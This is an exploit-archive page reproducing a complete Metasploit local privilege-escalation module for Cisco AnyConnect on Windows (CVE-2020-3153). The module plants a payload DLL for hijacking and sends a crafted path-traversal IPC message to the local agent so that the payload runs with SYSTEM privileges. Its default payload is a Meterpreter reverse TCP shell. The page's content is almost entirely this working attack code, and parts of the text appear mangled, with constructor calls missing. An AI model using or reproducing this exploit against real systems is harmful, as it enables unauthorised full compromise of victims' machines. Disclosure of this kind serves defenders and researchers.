Cisco AnyConnect Path Traversal / Privilege Escalation

Credit: Yorick Koster
Risk: Medium
Local: Yes
Remote: No

## # This module requires Metasploit: # Current source: ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Windows::Priv include Msf::Post::Windows::FileInfo include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Cisco AnyConnect Priv Esc through Path Traversal', 'Description' => %q{ The installer component of Cisco AnyConnect Secure Mobility Client for Windows prior to 4.8.02042 is vulnerable to path traversal and allows local attackers to create/overwrite files in arbitrary locations with system level privileges. The attack consists in sending a specially crafted IPC request to the TCP port 62522 on the loopback device, which is exposed by the Cisco AnyConnect Secure Mobility Agent service. This service will then launch the vulnerable installer component (`vpndownloader`), which copies itself to an arbitrary location before being executed with system privileges. Since `vpndownloader` is also vulnerable to DLL hijacking, a specially crafted DLL (`dbghelp.dll`) is created at the same location `vpndownloader` will be copied to get code execution with system privileges. This exploit has been successfully tested against Cisco AnyConnect Secure Mobility Client versions 4.5.04029, 4.5.05030 and 4.7.04056 on Windows 10 version 1909 (x64) and Windows 7 SP1 (x86). }, 'License' => MSF_LICENSE, 'Author' => [ 'Yorick Koster', # original PoC, analysis 'Antoine Goichot (ATGO)', # PoC 'Christophe De La Fuente' # msf module ], 'Platform' => 'win', 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows x86/x64 with x86 payload', { 'Arch' => ARCH_X86 } ] ], 'Privileged' => true, 'References' => [ ['URL', ''], ['URL', ''], ['CVE', '2020-3153'] ], 'DisclosureDate' => 'Feb 19 2020', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'FileDropperDelay' => 10 } ) ) register_options ['INSTALL_PATH', [ false, 'Cisco AnyConnect Secure Mobility Client installation path (where \'vpndownloader.exe\''\ ' should be found). It will be automatically detected if not set.' ]) ] register_advanced_options ['ForceExploit', [false, 'Override check result', false]) ] end # See AnyConnect IPC protocol articles: # - # - class CIPCHeader < BinData::Record endian :little uint32 :id_tag, label: 'ID Tag', value: 0x4353434f uint16 :header_length, label: 'Header Length', initial_value: -> { num_bytes } uint16 :data_length, label: 'Data Length', initial_value: -> { parent.body.num_bytes } uint32 :ipc_repsonse_cb, label: 'IPC response CB', initial_value: 0xFFFFFFFF uint32 :msg_user_context, label: 'Message User Context', initial_value: 0x00000000 uint32 :request_msg_id, label: 'Request Message Id', initial_value: 0x00000002 uint32 :return_ipc_object, label: 'Return IPC Object', initial_value: 0x00000000 uint8 :message_type, label: 'Message Type', initial_value: 1 uint8 :message_id, label: 'Message ID', initial_value: 2 end class CIPCTlv < BinData::Record endian :big uint8 :msg_type, label: 'Type' uint8 :msg_index, label: 'Index' uint16 :msg_length, label: 'Length', initial_value: -> { msg_value.num_bytes } stringz :msg_value, label: 'Value', length: -> { msg_length } end class CIPCMessage < BinData::Record endian :little cipc_header :header, label: 'Header' array :body, label: 'Body', type: :cipc_tlv, read_until: :eof end def detect_path program_files_paths =[get_env('ProgramFiles')]) program_files_paths << get_env('ProgramFiles(x86)') path = 'Cisco\\Cisco AnyConnect Secure Mobility Client' program_files_paths.each do |program_files_path| next unless file_exist?([program_files_path, path, 'vpndownloader.exe'].join('\\')) return "#{program_files_path}\\#{path}" end nil end def sanitize_path(path) return nil unless path path = path.strip loop do break if path.last != '\\' path.chop! end path end def check install_path = sanitize_path(datastore['INSTALL_PATH']) if install_path&.!= '' vprint_status("Skipping installation path detection and use provided path: #{install_path}") @installation_path = file_exist?([install_path, 'vpndownloader.exe'].join('\\')) ? install_path : nil else vprint_status('Try to detect installation path...') @installation_path = detect_path end unless @installation_path return CheckCode.Safe('vpndownloader.exe not found on file system') end file_path = "#{@installation_path}\\vpndownloader.exe" vprint_status("Found vpndownloader.exe path: '#{file_path}'") version = file_version(file_path) unless version return CheckCode.Unknown('Unable to retrieve vpndownloader.exe file version') end patched_version ='4.8.02042') @ac_version ='.')) if @ac_version < patched_version return CheckCode.Appears("Cisco AnyConnect version #{@ac_version} < #{patched_version}.") else return CheckCode.Safe("Cisco AnyConnect version #{@ac_version} >= #{patched_version}.") end end def exploit fail_with(Failure::None, 'Session is already elevated') if is_system? if !payload.arch.include?(ARCH_X86) fail_with(Failure::None, 'Payload architecture is not compatible with this module. Please, select an x86 payload') end check_result = check print_status(check_result.message) if check_result == CheckCode::Safe unless @installation_path fail_with(Failure::NoTarget, 'Installation path not found (try to set INSTALL_PATH if automatic detection failed)') end unless datastore['ForceExploit'] fail_with(Failure::NotVulnerable, 'Target is not vulnerable (set ForceExploit to override)') end print_warning('Override check result and attempt exploitation anyway') end cac_cmd = '"CAC-nc-install' if @ac_version && @ac_version >='4.7') vprint_status('"-ipc" argument needed') cac_cmd << "\t-ipc=#{rand_text_numeric(5)}" else vprint_status('"-ipc" argument not needed') end program_data_path = get_env('ProgramData') dbghelp_path = "#{program_data_path}\\Cisco\\dbghelp.dll" print_status("Writing the payload to #{dbghelp_path}") begin payload_dll = generate_payload_dll(dll_exitprocess: true) write_file(dbghelp_path, payload_dll) register_file_for_cleanup(dbghelp_path) rescue ::Rex::Post::Meterpreter::RequestError => e fail_with(Failure::NotFound, e.message) end # vpndownloader.exe will be copied to "C:\ProgramData\Cisco\" (assuming the # normal process will copy the file to # "C:\ProgramData\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Installer\XXXX.tmp\") register_file_for_cleanup("#{program_data_path}\\Cisco\\vpndownloader.exe") junk = Rex::Text.rand_text_alphanumeric(4) cac_cmd << "\t#{@installation_path}\\#{junk}\\#{junk}\\#{junk}\\#{junk}\\../../../../vpndownloader.exe\t-\"" vprint_status("IPC Command: #{cac_cmd}") cipc_msg = cipc_msg.body << msg_type: 0, msg_index: 2, msg_value: cac_cmd ) cipc_msg.body << msg_type: 0, msg_index: 6, msg_value: "#{@installation_path}\\vpndownloader.exe" ) vprint_status('Connecting to the AnyConnect agent on') begin socket = 'PeerHost' => '', 'PeerPort' => 62522, 'Proto' => 'tcp' ) ) rescue Rex::ConnectionError => e fail_with(Failure::Unreachable, e.message) end vprint_status("Send the encoded IPC command (size = #{cipc_msg.num_bytes} bytes)") socket.write(cipc_msg.to_binary_s) socket.flush # Give FileDropper some time to cleanup before handing over to the operator Rex.sleep(3) ensure if socket vprint_status('Shutdown the socket') socket.shutdown end end end

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020,


Back to Top